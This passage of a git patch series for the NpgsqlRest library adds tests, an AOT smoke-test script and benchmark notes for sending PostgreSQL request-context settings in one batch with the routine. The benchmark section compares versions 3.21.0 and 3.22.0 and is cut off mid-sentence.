RequestContextBatch.ContextStatement(count).Should().BeSameAs(RequestContextBatch.ContextStatement(count)); + } + + [Fact] + public void Context_statement_for_many_keys() + { + var statement = RequestContextBatch.ContextStatement(40); + statement.Should().StartWith("select set_config($1,$2,true) is null,"); + statement.Should().EndWith(",set_config($79,$80,true) is null"); + } + + [Theory] + // queries and data changes: cannot end the transaction they run in + [InlineData("select 1", true)] + [InlineData("SELECT * from t where id = $1", true)] + [InlineData(" \n\t select 1", true)] + [InlineData("with x as (select 1) select * from x", true)] + [InlineData("insert into t values ($1) returning id", true)] + [InlineData("update t set a = $1", true)] + [InlineData("delete from t where id = $1", true)] + [InlineData("merge into t using s on t.id = s.id when matched then do nothing", true)] + [InlineData("values (1), (2)", true)] + [InlineData("table t", true)] + [InlineData("-- a comment\nselect 1", true)] + [InlineData("/* a /* nested */ comment */ select 1", true)] + [InlineData("-- one\n/* two */\n-- three\nSeLeCt 1", true)] + [InlineData("select(1)", true)] + // everything else is left alone + [InlineData("call my_proc($1)", false)] + [InlineData("do $$ begin commit; end $$", false)] + [InlineData("vacuum t", false)] + [InlineData("set search_path to x", false)] + [InlineData("begin", false)] + [InlineData("commit", false)] + [InlineData("copy t to stdout", false)] + [InlineData("create table t (id int)", false)] + [InlineData("refresh materialized view concurrently m", false)] + [InlineData("truncate t", false)] + [InlineData("(select 1) union (select 2)", false)] + [InlineData("select_all()", false)] + [InlineData("selects 1", false)] + [InlineData("select$1", false)] + [InlineData("", false)] + [InlineData(" ", false)] + [InlineData("-- only a comment", false)] + [InlineData("/* unterminated select 1", false)] + [InlineData(null, false)] + public void Sql_file_statement_qualifies_when_it_is_a_query_or_a_data_change(string? sql, bool expected) + { + RequestContextBatch.IsQueryOrDataChange(sql).Should().Be(expected); + } + + [Fact] + public void Batch_has_the_context_statement_and_then_the_routine_with_its_parameters() + { + using var connection = new NpgsqlConnection(); + using var command = new NpgsqlCommand("select public.my_function($1,$2)", connection) { CommandTimeout = 77 }; + var first = new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = 1 }; + var second = new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = "two" }; + command.Parameters.Add(first); + command.Parameters.Add(second); + + (string Key, object? Value)[] context = + [ + ("request.user_id", "123"), + ("request.user_name", DBNull.Value), + ]; + using var batch = RequestContextBatch.Create(connection, command, context); + + batch.Connection.Should().BeSameAs(connection); + batch.Timeout.Should().Be(77); + batch.BatchCommands.Count.Should().Be(2); + + var contextCommand = batch.BatchCommands[0]; + contextCommand.CommandText.Should().Be("select set_config($1,$2,true) is null,set_config($3,$4,true) is null"); + contextCommand.Parameters.Select(p => p.Value).Should().Equal("request.user_id", "123", "request.user_name", DBNull.Value); + contextCommand.Parameters.Select(p => p.NpgsqlDbType).Should().OnlyContain(type => type == NpgsqlDbType.Text); + contextCommand.Parameters.Select(p => p.ParameterName).Should().OnlyContain(name => name == "", "positional parameters have no names"); + + var routineCommand = batch.BatchCommands[1]; + routineCommand.CommandText.Should().Be("select public.my_function($1,$2)"); + // the very same parameters, in order: they moved from the command to the batch + routineCommand.Parameters.Count.Should().Be(2); + routineCommand.Parameters[0].Should().BeSameAs(first); + routineCommand.Parameters[1].Should().BeSameAs(second); + command.Parameters.Count.Should().Be(0); + } + + [Fact] + public void Batch_for_a_routine_without_parameters() + { + using var connection = new NpgsqlConnection(); + using var command = new NpgsqlCommand("select public.no_parameters()", connection); + + (string Key, object? Value)[] context = [("request.ip_address", "127.0.0.1")]; + using var batch = RequestContextBatch.Create(connection, command, context); + + batch.BatchCommands.Count.Should().Be(2); + batch.BatchCommands[0].CommandText.Should().Be("select set_config($1,$2,true) is null"); + batch.BatchCommands[1].CommandText.Should().Be("select public.no_parameters()"); + batch.BatchCommands[1].Parameters.Count.Should().Be(0); + } +} diff --git a/NpgsqlRestTests/Setup/RequestContextBatchTestFixture.cs b/NpgsqlRestTests/Setup/RequestContextBatchTestFixture.cs new file mode 100644 index 00000000..93d443b9 --- /dev/null +++ b/NpgsqlRestTests/Setup/RequestContextBatchTestFixture.cs @@ -0,0 +1,88 @@ +using System.Security.Claims; +using Microsoft.AspNetCore.Authentication.Cookies; +using Microsoft.AspNetCore.Builder; +using Microsoft.AspNetCore.Hosting; +using Microsoft.AspNetCore.Http; +using Microsoft.Extensions.DependencyInjection; +using Microsoft.Extensions.Logging; +using Npgsql; + +namespace NpgsqlRestTests.Setup; + +[CollectionDefinition("RequestContextBatchTestFixture")] +public class RequestContextBatchTestFixtureCollection : ICollectionFixture { } + +/// +/// For the request context that is sent together with the routine (RequestContextBatch). The pool has exactly one +/// connection and it is never reset on close, so every request runs in the same PostgreSQL session: anything a +/// request left on its connection would be visible to the next request. +/// +public class RequestContextBatchTestFixture : IDisposable +{ + private readonly WebApplication _app; + + public string ServerAddress { get; } + + public NpgsqlRestOptions Options { get; } + + public RequestContextBatchTestFixture() + { + var connectionString = new NpgsqlConnectionStringBuilder(Database.Create()) + { + NoResetOnClose = true, + MaxPoolSize = 1, + // Its own pool: Npgsql pools by connection string, and another fixture with the same one would share this + // fixture's only connection - and whatever that fixture's requests leave on it. + ApplicationName = "request-context-batch-tests", + }.ConnectionString; + + var builder = WebApplication.CreateBuilder(); + builder.WebHost.UseUrls("http://127.0.0.1:0"); + builder.Logging.ClearProviders(); + builder.Services.AddAuthentication().AddCookie(); + + _app = builder.Build(); + + _app.MapGet("/rcb-login", () => Results.SignIn(new ClaimsPrincipal(new ClaimsIdentity( + claims: + [ + new Claim("user_id", "123"), + new Claim("user_name", "admin"), + ], + authenticationType: CookieAuthenticationDefaults.AuthenticationScheme)))); + + Options = new(connectionString) + { + IncludeSchemas = ["public"], + NameSimilarTo = "rcb[_]%", + CommentsMode = CommentsMode.ParseAll, + RequiresAuthorization = false, + }; + _app.UseNpgsqlRest(Options); + + _app.StartAsync().GetAwaiter().GetResult(); + ServerAddress = _app.Urls.First(); + } + + /// A client that is logged in as user_id 123, user_name admin. + public async Task LoggedInClientAsync() + { + var client = new HttpClient(new HttpClientHandler { UseCookies = true, CookieContainer = new System.Net.CookieContainer() }) + { + BaseAddress = new Uri(ServerAddress) + }; + using var login = await client.GetAsync("/rcb-login"); + login.EnsureSuccessStatusCode(); + return client; + } + + public HttpClient AnonymousClient() => new() { BaseAddress = new Uri(ServerAddress) }; + +#pragma warning disable CA1816 + public void Dispose() +#pragma warning restore CA1816 + { + _app.StopAsync().GetAwaiter().GetResult(); + _app.DisposeAsync().GetAwaiter().GetResult(); + } +} diff --git a/NpgsqlRestTests/SqlFileSourceTests/AuthTests/SqlFileRequestContextBatchTests.cs b/NpgsqlRestTests/SqlFileSourceTests/AuthTests/SqlFileRequestContextBatchTests.cs new file mode 100644 index 00000000..be2aed0f --- /dev/null +++ b/NpgsqlRestTests/SqlFileSourceTests/AuthTests/SqlFileRequestContextBatchTests.cs @@ -0,0 +1,232 @@ +using System.Security.Claims; +using Microsoft.AspNetCore.Authentication.Cookies; +using Microsoft.AspNetCore.Builder; +using Microsoft.AspNetCore.Hosting; +using Microsoft.AspNetCore.Http; +using Microsoft.Extensions.DependencyInjection; +using Microsoft.Extensions.Logging; +using Npgsql; +using NpgsqlRest.SqlFileSource; + +namespace NpgsqlRestTests +{ + public static partial class Database + { + public static void SqlFileRequestContextBatchTests() + { + script.Append(""" + create table sfrcb_log (v text primary key, user_id text); + create procedure sfrcb_proc() language plpgsql as $$ begin null; end $$; + """); + } + } +} + +namespace NpgsqlRestTests.SqlFileSourceTests +{ + /// + /// SQL files and the request context that is sent together with the statement (RequestContextBatch): a file with + /// a single query or data change qualifies, anything else keeps the session-level context. + /// + public class SqlFileRequestContextBatchTests : IDisposable + { + private const string ContextQuery = """ + -- HTTP GET + -- @user_context + -- @param $1 p text + select $1 || ':' || coalesce(nullif(current_setting('request.user_id', true), ''), '') as value; + """; + + private const string ContextInsert = """ + -- HTTP POST + -- @user_context + -- @param $1 v text + insert into sfrcb_log (v, user_id) values ($1, current_setting('request.user_id', true)) returning v, user_id; + """; + + private const string Peek = """ + -- HTTP GET + select coalesce(nullif(current_setting('request.user_id', true), ''), '') as value; + """; + + private readonly List _directories = []; + + private string WriteFiles(params (string Name, string Sql)[] files) + { + var directory = Path.Combine(Path.GetTempPath(), "npgsqlrest_sfrcb_" + Guid.NewGuid().ToString("N")[..8]); + Directory.CreateDirectory(directory); + _directories.Add(directory); + foreach (var (name, sql) in files) + { + File.WriteAllText(Path.Combine(directory, name), sql); + } + return directory; + } + + private static NpgsqlRestOptions CreateOptions(string connectionString, string directory) => new(connectionString) + { + CommentsMode = CommentsMode.OnlyWithHttpTag, + RequiresAuthorization = false, + EndpointSources = + [ + new SqlFileSource(new SqlFileSourceOptions + { + FilePattern = directory.Replace('\\', '/') + "/**/*.sql", + CommentsMode = CommentsMode.OnlyWithHttpTag, + CommentScope = CommentScope.All, + ErrorMode = ParseErrorMode.Exit, + }) + ], + }; + + /// Builds the endpoints of the given files (without serving them) and returns the options. + private async Task BuildAsync(params (string Name, string Sql)[] files) + { + var builder = WebApplication.CreateBuilder(); + builder.Logging.ClearProviders(); + await using var app = builder.Build(); + + var options = CreateOptions(Database.Create(), WriteFiles(files)); + var currentOptions = NpgsqlRestOptions.Options; + var currentLogger = NpgsqlRestOptions.Logger; + try + { + app.UseNpgsqlRest(options); + } + finally + { + NpgsqlRestOptions.Options = currentOptions; + NpgsqlRestOptions.Logger = currentLogger; + } + return options; + } + + [Fact] + public async Task Query_and_data_change_files_send_their_context_with_the_statement() + { + // One connection that is never reset: what a request leaves on it, the next request sees. + var connectionString = new NpgsqlConnectionStringBuilder(Database.Create()) + { + NoResetOnClose = true, + MaxPoolSize = 1, + // its own pool (Npgsql pools by connection string), so no other test's requests use this connection + ApplicationName = "sql-file-request-context-batch-tests", + }.ConnectionString; + + var builder = WebApplication.CreateBuilder(); + builder.WebHost.UseUrls("http://127.0.0.1:0"); + builder.Logging.ClearProviders(); + builder.Services.AddAuthentication().AddCookie(); + await using var app = builder.Build(); + app.MapGet("/sfrcb-login", () => Results.SignIn(new ClaimsPrincipal(new ClaimsIdentity( + claims: [new Claim("user_id", "123"), new Claim("user_name", "admin")], + authenticationType: CookieAuthenticationDefaults.AuthenticationScheme)))); + + var options = CreateOptions(connectionString, WriteFiles( + ("sfrcb_context.sql", ContextQuery), + ("sfrcb_insert.sql", ContextInsert), + ("sfrcb_peek.sql", Peek))); + app.UseNpgsqlRest(options); + await app.StartAsync(); + + options.ConnectionResetRequired.Should().BeFalse(); + + using var user = new HttpClient(new HttpClientHandler { UseCookies = true, CookieContainer = new System.Net.CookieContainer() }) + { + BaseAddress = new Uri(app.Urls.First()) + }; + using var anonymous = new HttpClient { BaseAddress = new Uri(app.Urls.First()) }; + using (var login = await user.GetAsync("/sfrcb-login")) + { + login.StatusCode.Should().Be(HttpStatusCode.OK); + } + + using (var response = await user.GetAsync("/api/sfrcb-context?p=a")) + { + response.StatusCode.Should().Be(HttpStatusCode.OK); + (await response.Content.ReadAsStringAsync()).Should().Be("[\"a:123\"]"); + } + using (var response = await anonymous.GetAsync("/api/sfrcb-peek")) + { + response.StatusCode.Should().Be(HttpStatusCode.OK); + (await response.Content.ReadAsStringAsync()).Should().Be("[\"\"]"); + } + using (var body = new StringContent("{\"v\":\"row 1\"}", Encoding.UTF8, "application/json")) + using (var response = await user.PostAsync("/api/sfrcb-insert", body)) + { + response.StatusCode.Should().Be(HttpStatusCode.OK); + (await response.Content.ReadAsStringAsync()).Should().Be("[{\"v\":\"row 1\",\"userId\":\"123\"}]"); + } + using (var response = await anonymous.GetAsync("/api/sfrcb-context?p=b")) + { + response.StatusCode.Should().Be(HttpStatusCode.OK); + (await response.Content.ReadAsStringAsync()).Should().Be("[\"b:\"]"); + } + using (var response = await anonymous.GetAsync("/api/sfrcb-peek")) + { + response.StatusCode.Should().Be(HttpStatusCode.OK); + (await response.Content.ReadAsStringAsync()).Should().Be("[\"\"]"); + } + + await app.StopAsync(); + } + + [Fact] + public async Task Reset_is_not_required_for_query_and_data_change_files() + { + (await BuildAsync(("sfrcb_context.sql", ContextQuery), ("sfrcb_insert.sql", ContextInsert), ("sfrcb_peek.sql", Peek))) + .ConnectionResetRequired.Should().BeFalse(); + } + + [Fact] + public async Task Reset_is_required_when_a_file_with_several_statements_uses_user_context() + { + // its statements are executed one by one: settings local to the first would not reach the second + (await BuildAsync( + ("sfrcb_context.sql", ContextQuery), + ("sfrcb_multi.sql", """ + -- HTTP GET + -- @user_context + select current_setting('request.user_id', true) as a; + select current_setting('request.user_name', true) as b; + """))) + .ConnectionResetRequired.Should().BeTrue(); + } + + [Fact] + public async Task Reset_is_required_when_a_do_block_uses_user_context() + { + // a do block can commit, which would end local settings + (await BuildAsync( + ("sfrcb_context.sql", ContextQuery), + ("sfrcb_do.sql", """ + -- HTTP POST + -- @user_context + do $$ begin perform current_setting('request.user_id', true); end $$; + """))) + .ConnectionResetRequired.Should().BeTrue(); + } + + [Fact] + public async Task Reset_is_required_when_a_procedure_call_uses_user_context() + { + (await BuildAsync( + ("sfrcb_context.sql", ContextQuery), + ("sfrcb_call.sql", """ + -- HTTP POST + -- @user_context + call sfrcb_proc(); + """))) + .ConnectionResetRequired.Should().BeTrue(); + } + + public void Dispose() + { + foreach (var directory in _directories) + { + try { if (Directory.Exists(directory)) Directory.Delete(directory, true); } catch { } + } + GC.SuppressFinalize(this); + } + } +} From 6987e678c3804a84588df9eebb3b8698c099e532 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Vedran=20Bilopavlovi=C4=87?= Date: Thu, 19 Nov 2026 21:11:11 +0100 Subject: [PATCH 15/38] build: AOT smoke test calls endpoints with a request context The request context is sent with the routine in a batch whose text results depend on a non-public Npgsql member, so the published native AOT executable is now also checked with user_context and request_headers context: a function returning rows, a void function, that nothing of the context is left on the connection afterwards, and 200 parallel requests. --- .github/scripts/aot-smoke-test.sh | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) diff --git a/.github/scripts/aot-smoke-test.sh b/.github/scripts/aot-smoke-test.sh index 9db9afc4..6127311d 100755 --- a/.github/scripts/aot-smoke-test.sh +++ b/.github/scripts/aot-smoke-test.sh @@ -25,6 +25,13 @@ create function smoke_echo(_value text) returns text language sql as $$ select ' create function smoke_void() returns void language sql as $$ select 1 $$; create function smoke_secret() returns text language sql stable as $$ select 'secret' $$; create function smoke_big() returns text language sql stable as $$ select repeat('x', 200000) $$; +-- The request context is sent together with the routine, in a batch with text results (RequestContextBatch). +create function smoke_context(_p text) returns table (p text, ip text, header text, flag boolean, n numeric) language sql as $$ + select _p, current_setting('request.ip_address', true), + (select value from json_each_text(current_setting('request.headers', true)::json) where lower(key) = 'x-smoke'), true, 1.50 $$; +create function smoke_context_void() returns void language sql as $$ select current_setting('request.ip_address') $$; +create function smoke_context_left() returns text language sql as $$ + select coalesce(nullif(current_setting('request.ip_address', true), ''), 'nothing') $$; comment on function smoke_text() is 'HTTP GET'; comment on function smoke_rows(int) is 'HTTP GET'; comment on function smoke_echo(text) is 'HTTP POST'; @@ -32,6 +39,12 @@ comment on function smoke_void() is 'HTTP POST'; comment on function smoke_secret() is 'HTTP GET authorize'; comment on function smoke_big() is 'HTTP GET'; +comment on function smoke_context(text) is 'HTTP GET +user_context +request_headers context'; +comment on function smoke_context_void() is 'HTTP POST +user_context'; +comment on function smoke_context_left() is 'HTTP GET'; SQL # The default configuration requires authorization on every endpoint; smoke_secret keeps its own `authorize`. @@ -69,6 +82,15 @@ check "GET gzip" '[200]' "$(curl -s --compressed -H 'Accept-Encoding: # Responses that are sent in several pieces: a value larger than 64 KB, and more rows than fit in 16 KB. check "GET large scalar" '200000 [200]' "$(curl -s -o /dev/null -w '%{size_download} [%{http_code}]' "$B/api/smoke-big")" check "GET 2000 rows" '2000' "$(curl -s "$B/api/smoke-rows?count=2000" | grep -o '"id":' | wc -l | tr -d ' ')" +# The request context and the routine in one round trip; values are read as text and nothing stays on the connection +# (which is not reset here: no endpoint leaves session-level settings). +check "GET user_context" '[{"p":"x","ip":"127.0.0.1","header":"smoke header","flag":true,"n":1.50}] [200]' \ + "$(curl -s -w ' [%{http_code}]' -H 'X-Smoke: smoke header' "$B/api/smoke-context?p=x")" +check "POST user_context, void" '[204]' "$(curl -s -o /dev/null -w '[%{http_code}]' -X POST "$B/api/smoke-context-void")" +check "context is gone after the request" 'nothing nothing nothing nothing nothing nothing nothing nothing' \ + "$(for _ in 1 2 3 4 5 6 7 8; do curl -s "$B/api/smoke-context-left"; echo; done | tr '\n' ' ' | sed 's/ $//')" +check "200 parallel requests with context" '200' \ + "$(seq 1 200 | xargs -P 20 -I{} curl -s -H 'X-Smoke: smoke header' "$B/api/smoke-context?p={}" | grep -o '"ip":"127.0.0.1","header":"smoke header"' | wc -l | tr -d ' ')" check "200 parallel requests" '200' \ "$(seq 1 200 | xargs -P 20 -I{} curl -s -o /dev/null -w '%{http_code}\n' "$B/api/smoke-rows?count=10" | grep -c '^200$')" kill -0 "$PID" 2>/dev/null || { echo "FAIL: server died"; cat "$LOG"; exit 1; } From 8aa6b088271de6b9b24d7dd37a12896131e28221 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Vedran=20Bilopavlovi=C4=87?= Date: Thu, 19 Nov 2026 21:11:17 +0100 Subject: [PATCH 16/38] docs: 3.22.0 changelog - request context with the routine, measured against 3.21.0 as JIT and native AOT - Performance: "The request context travels with the routine": what PostgreSQL receives before and after, endpoints with user_context against 3.21.0 as JIT and as native AOT (requests per second, response time, server and PostgreSQL CPU per request), which endpoints qualify, cache hits, the non-public Npgsql member. - The reset rule table, the upgrade note and the user_context security entry describe the new behavior. - Baseline document: round 4 with the raw numbers, the statement logs and the BenchmarkDotNet run. - RequestHeadersMode "Context" was described with a setting name and a set_config call that are not the ones used (appsettings.json, config template, schema, skill reference). --- .../npgsqlrest/configuration-reference.jsonc | 2 +- .../EndpointBenchmarks-3.22.0-perf.md | 116 +++++++++++++++++- NpgsqlRestClient/ConfigSchemaGenerator.cs | 2 +- NpgsqlRestClient/ConfigTemplate.cs | 2 +- NpgsqlRestClient/appsettings.json | 2 +- changelog/v3.22.0.md | 113 +++++++++++++++-- 6 files changed, 219 insertions(+), 18 deletions(-) diff --git a/.claude/skills/npgsqlrest/configuration-reference.jsonc b/.claude/skills/npgsqlrest/configuration-reference.jsonc index 80675976..3a1c89e9 100644 --- a/.claude/skills/npgsqlrest/configuration-reference.jsonc +++ b/.claude/skills/npgsqlrest/configuration-reference.jsonc @@ -2139,7 +2139,7 @@ // // Configure how to send request headers to PostgreSQL routines execution: // - `Ignore` (default) don't send any request headers to routines. - // - `Context` sets a context variable for the current session `context.headers` containing JSON string with current request headers. This executes `set_config('context.headers', headers, false)` before any routine executions. + // - `Context` passes the request headers to the routine as a JSON string in the PostgreSQL setting named by `RequestHeadersContextKey` (`request.headers` by default), set with `set_config` just before the routine runs. Read it with `current_setting('request.headers', true)`. // - `Parameter` sends request headers to the routine parameter defined with the `RequestHeadersParameterName` option. Parameter with this name must exist, must be one of the JSON or text types and must have the default value defined. This option for individual endpoints can be changed with the `EndpointCreated` function callback, or by using comment annotations. // "RequestHeadersMode": "Parameter", diff --git a/BenchmarkTests/Baselines/EndpointBenchmarks-3.22.0-perf.md b/BenchmarkTests/Baselines/EndpointBenchmarks-3.22.0-perf.md index ba6a6719..db266178 100644 --- a/BenchmarkTests/Baselines/EndpointBenchmarks-3.22.0-perf.md +++ b/BenchmarkTests/Baselines/EndpointBenchmarks-3.22.0-perf.md @@ -9,7 +9,7 @@ NPGSQLREST_BENCHMARK_CONNECTION="Host=localhost;Port=55432;Database=postgres;Use The starting point is branch `3.22.0` with the security fixes applied, before any performance change. Each row adds one change to the previous row and is a single full run. -This document has three parts; the numbers quoted in the changelog are those of **round 3** (3.22.0 against the released 3.21.0 on .NET 10). **Round 1** (the sections up to "How the JIT verdict was checked") is the first set of changes, committed as `9d63171`. **Round 2** continues from there to the final request pipeline and compares it with the start of the performance work (`5befe76`, on .NET 11). **Round 3** compares the release with 3.21.0 on .NET 10, which also uncovered what resetting connections costs. Two statements in round 1 turned out to be wrong and are corrected in round 2: that methods with a pooling async builder stay classic when Runtime Async is on, and the ApacheBench numbers for the native AOT build. +This document has four parts; the numbers quoted in the changelog are those of **round 3** (3.22.0 against the released 3.21.0 on .NET 10) and, for endpoints with a request context, **round 4** at the end. **Round 1** (the sections up to "How the JIT verdict was checked") is the first set of changes, committed as `9d63171`. **Round 2** continues from there to the final request pipeline and compares it with the start of the performance work (`5befe76`, on .NET 11). **Round 3** compares the release with 3.21.0 on .NET 10, which also uncovered what resetting connections costs. Two statements in round 1 turned out to be wrong and are corrected in round 2: that methods with a pooling async builder stay classic when Runtime Async is on, and the ApacheBench numbers for the native AOT build. ## Results @@ -291,3 +291,117 @@ Native AOT binary (osx-arm64): 35,343,856 bytes for 3.21.0, 36,255,760 for 3.22. Verification of the final state: 3,013 tests pass on .NET 11 and on .NET 10 (`-p:NpgsqlRestTestFramework=net10.0`); both final AOT executables pass `.github/scripts/aot-smoke-test.sh`. + +# Round 4: the request context is sent with the routine + +Recorded 2026-11-19, same machine and container. This round is about endpoints with `user_context` / `request_headers context`, which rounds 1-3 did not load at all. + +## What changed + +Up to here, a request to such an endpoint made two round trips to PostgreSQL: a batch of `select set_config($1,$2,false)` statements (one per setting), then the routine. The settings were session-level, so they stayed on the pooled connection, and that is what made the connection reset of round 3 necessary for every application with a context endpoint. + +Now, for functions, tables, views and SQL files with a single query or data-changing statement, the settings and the routine are one `NpgsqlBatch` of two statements: `select set_config($1,$2,true) is null,set_config($3,$4,true) is null,...` and the unchanged routine statement. One round trip, one transaction, settings local to it, nothing left on the connection, so no reset (`NpgsqlRestOptions.ConnectionResetRequired` is false for such endpoints). Code: `NpgsqlRest/RequestContextBatch.cs`. + +Two things about the design that are not obvious from the code: + +- **Why a batch and not one command with several statements.** A single `NpgsqlCommand` with `;`-separated statements needs Npgsql's SQL rewriting and named parameters. The client (and the test suite) run with `Npgsql.EnableSqlRewriting` off, on purpose, so that Npgsql never parses or reinterprets SQL. With it off, named parameters throw and several statements in one command are rejected by PostgreSQL. A batch is the supported way to send several statements with positional parameters, and the routine's statement does not have to be touched. +- **Text results for a batch.** Rendering reads every value in PostgreSQL's text format (`AllResultTypesAreUnknown`). `NpgsqlBatch` has that switch only as an internal property in Npgsql 10.0.3 (public API is on Npgsql's backlog, npgsql/npgsql#3922). It is set through an `UnsafeAccessor`, which works in JIT, trimmed and native AOT builds. `RequestContextBatch.IsSupported` probes it once; without it the old two-step path is used. A unit test fails if an Npgsql upgrade removes the member. + +Not eligible (they keep the session-level context, and an application that has one keeps the reset): procedures, multi-statement SQL files, SQL files whose statement is not a query or data change, upload, login and logout endpoints, a routine returning a single `bytea` value; and every endpoint with `WrapInTransaction` (already local), `BeforeRoutineCommands` or `CommandCallbackAsync`. + +## What PostgreSQL receives + +Statement log (`log_statement = 'all'`) for one request of a signed-in user to `who_am_i(_greeting text)` with `user_context`, pool of one connection: + +| Build | Statements | +|---|---| +| 3.21.0 | 4 x `select set_config($1,$2,false)` (one batch), then `select public.who_am_i(_greeting=>$1)`; no reset | +| 3.22.0 before this round | the reset (`SET SESSION AUTHORIZATION DEFAULT;RESET ALL;CLOSE ALL;UNLISTEN *;SELECT pg_advisory_unlock_all();DISCARD SEQUENCES;DISCARD TEMP`), 4 x `select set_config($1,$2,false)`, then the routine | +| 3.22.0 | `select set_config($1,$2,true) is null,set_config($3,$4,true) is null,set_config($5,$6,true) is null,set_config($7,$8,true) is null` and the routine, in one batch; no reset | + +A cache hit on an endpoint with `user_context` and `cached` (client started with `CacheOptions:Enabled=true`): 3.21.0 sent the four `set_config` statements for every hit, 3.22.0 before this round the reset and the four statements, 3.22.0 sends nothing. + +## Load test + +Method as in round 3 (HTTP/1.1 keep-alive client; sequential response time at 1 connection, throughput at 32, CPU per request at 8), with these differences: + +- The client is started with `--Auth:CookieAuth=true`; the load generator logs in once through a `login` function and sends the cookie with every request. Every request to a context endpoint therefore carries four settings (IP address, user id, user name, roles). +- Endpoints: `ctx_text()` (short text value built from `request.user_name`), `ctx_plpgsql(_id int)` (the five-query PL/pgSQL function of round 3, reading `request.user_id`), `ctx_rows(_count int)` with 100 rows (the rows of round 3, with the user id in the jsonb column), all with `user_context`; and `benchmark_get_text()` without context, in the same application. +- PostgreSQL CPU per request is the container's cgroup `cpu.stat` `usage_usec` delta divided by the number of requests. +- Six builds, three rounds, the order rotating by one with every round. "3.22.0 before" is commit `3810e6e` (round 3's final build): the reset that keeps plans, and two round trips. + +Averages, with the three rounds in brackets. Response times and CPU are in µs. + +**JIT** + +| | 3.21.0 (.NET 10) | 3.22.0 before (reset, two round trips) | 3.22.0 (one round trip, no reset) | +|---|---:|---:|---:| +| **Requests per second** (32 connections) | | | | +| Text value, `user_context` | 21,070 (21,022 / 21,168 / 21,020) | 19,018 (19,025 / 18,960 / 19,070) | 35,704 (34,379 / 36,389 / 36,345) | +| PL/pgSQL function, `user_context` | 19,314 (19,162 / 19,497 / 19,283) | 17,126 (17,038 / 17,560 / 16,780) | 30,094 (29,936 / 30,038 / 30,307) | +| 100 rows, `user_context` | 11,710 (11,919 / 11,531 / 11,681) | 12,577 (12,921 / 12,232 / 12,578) | 17,803 (17,259 / 17,813 / 18,337) | +| Text value without context, same application | 39,429 (40,201 / 39,245 / 38,842) | 33,812 (33,893 / 33,609 / 33,935) | 38,048 (37,376 / 38,398 / 38,371) | +| **Response time**, one request at a time | | | | +| Text value, `user_context` | 334.6 (335.4 / 335.1 / 333.4) | 366.7 (367.4 / 366.9 / 365.7) | 217.2 (219.7 / 215.7 / 216.3) | +| PL/pgSQL function, `user_context` | 399.3 (402.7 / 400.2 / 395.0) | 427.4 (426.5 / 427.8 / 427.8) | 282.1 (283.4 / 279.7 / 283.1) | +| 100 rows, `user_context` | 648.1 (649.1 / 655.9 / 639.4) | 655.7 (654.4 / 661.0 / 651.7) | 521.2 (525.4 / 520.0 / 518.3) | +| Text value without context, same application | 186.1 (188.4 / 180.4 / 189.5) | 208.6 (210.7 / 205.7 / 209.4) | 199.1 (197.5 / 199.4 / 200.3) | +| **Server CPU per request** (8 connections) | | | | +| Text value, `user_context` | 320.1 (319.4 / 319.9 / 320.9) | 264.8 (262.9 / 265.0 / 266.4) | 166.0 (166.9 / 164.0 / 167.1) | +| 100 rows, `user_context` | 650.0 (639.1 / 660.0 / 651.0) | 399.1 (395.1 / 400.5 / 401.8) | 312.7 (315.4 / 312.2 / 310.5) | +| **PostgreSQL CPU per request** (8 connections) | | | | +| Text value, `user_context` | 96.7 (97.2 / 96.5 / 96.3) | 119.9 (121.1 / 118.1 / 120.6) | 60.0 (59.7 / 60.8 / 59.6) | +| 100 rows, `user_context` | 361.6 (355.3 / 363.7 / 365.7) | 365.7 (365.7 / 364.1 / 367.3) | 300.3 (299.5 / 304.6 / 296.8) | +| Process memory after the load, MB | 308 | 171 | 173 | +| Failed requests | 0 | 0 | 0 | + +**Native AOT** + +| | 3.21.0 (.NET 10) | 3.22.0 before (reset, two round trips) | 3.22.0 (one round trip, no reset) | +|---|---:|---:|---:| +| **Requests per second** (32 connections) | | | | +| Text value, `user_context` | 21,209 (21,218 / 21,092 / 21,317) | 18,125 (18,254 / 17,982 / 18,139) | 35,570 (35,484 / 35,846 / 35,379) | +| PL/pgSQL function, `user_context` | 18,789 (18,784 / 18,510 / 19,074) | 16,712 (16,692 / 16,938 / 16,506) | 28,532 (28,712 / 29,311 / 27,574) | +| 100 rows, `user_context` | 11,591 (11,662 / 11,532 / 11,580) | 11,741 (11,623 / 11,584 / 12,017) | 16,376 (15,991 / 16,586 / 16,551) | +| Text value without context, same application | 38,108 (37,173 / 38,086 / 39,065) | 32,759 (32,850 / 32,705 / 32,721) | 37,094 (37,192 / 37,772 / 36,319) | +| **Response time**, one request at a time | | | | +| Text value, `user_context` | 336.8 (334.5 / 339.4 / 336.6) | 371.8 (376.7 / 366.7 / 372.0) | 217.7 (218.0 / 217.2 / 218.0) | +| PL/pgSQL function, `user_context` | 397.7 (397.6 / 394.9 / 400.6) | 431.8 (433.0 / 432.2 / 430.3) | 280.8 (281.2 / 281.5 / 279.6) | +| 100 rows, `user_context` | 690.9 (733.1 / 683.5 / 656.0) | 699.2 (695.4 / 715.5 / 686.6) | 544.7 (545.4 / 554.9 / 533.9) | +| Text value without context, same application | 188.7 (189.7 / 186.5 / 189.9) | 206.6 (207.5 / 206.9 / 205.4) | 198.7 (198.2 / 199.5 / 198.4) | +| **Server CPU per request** (8 connections) | | | | +| Text value, `user_context` | 254.5 (257.1 / 250.0 / 256.5) | 275.4 (276.0 / 275.9 / 274.4) | 172.4 (172.8 / 172.6 / 171.9) | +| 100 rows, `user_context` | 606.6 (610.8 / 609.5 / 599.6) | 460.1 (459.2 / 460.1 / 461.1) | 366.0 (366.1 / 367.2 / 364.6) | +| **PostgreSQL CPU per request** (8 connections) | | | | +| Text value, `user_context` | 97.0 (100.1 / 95.5 / 95.4) | 121.4 (122.5 / 120.7 / 121.1) | 59.6 (60.3 / 59.4 / 59.1) | +| 100 rows, `user_context` | 371.1 (379.6 / 366.5 / 367.1) | 375.3 (373.6 / 374.3 / 377.9) | 305.9 (307.0 / 306.1 / 304.7) | +| Process memory after the load, MB | 206 | 79 | 81 | +| Failed requests | 0 | 0 | 0 | + +Reading: + +- The three context endpoints lose one round trip: 117-127 µs of response time in JIT, 117-146 µs in AOT, against 3.21.0. Against the build before this round the difference is larger (135-155 µs), because that build also paid for the reset. +- The build before this round was *slower* than 3.21.0 for context endpoints under load (19,018 against 21,070 text requests per second in JIT): same two round trips, plus the reset that 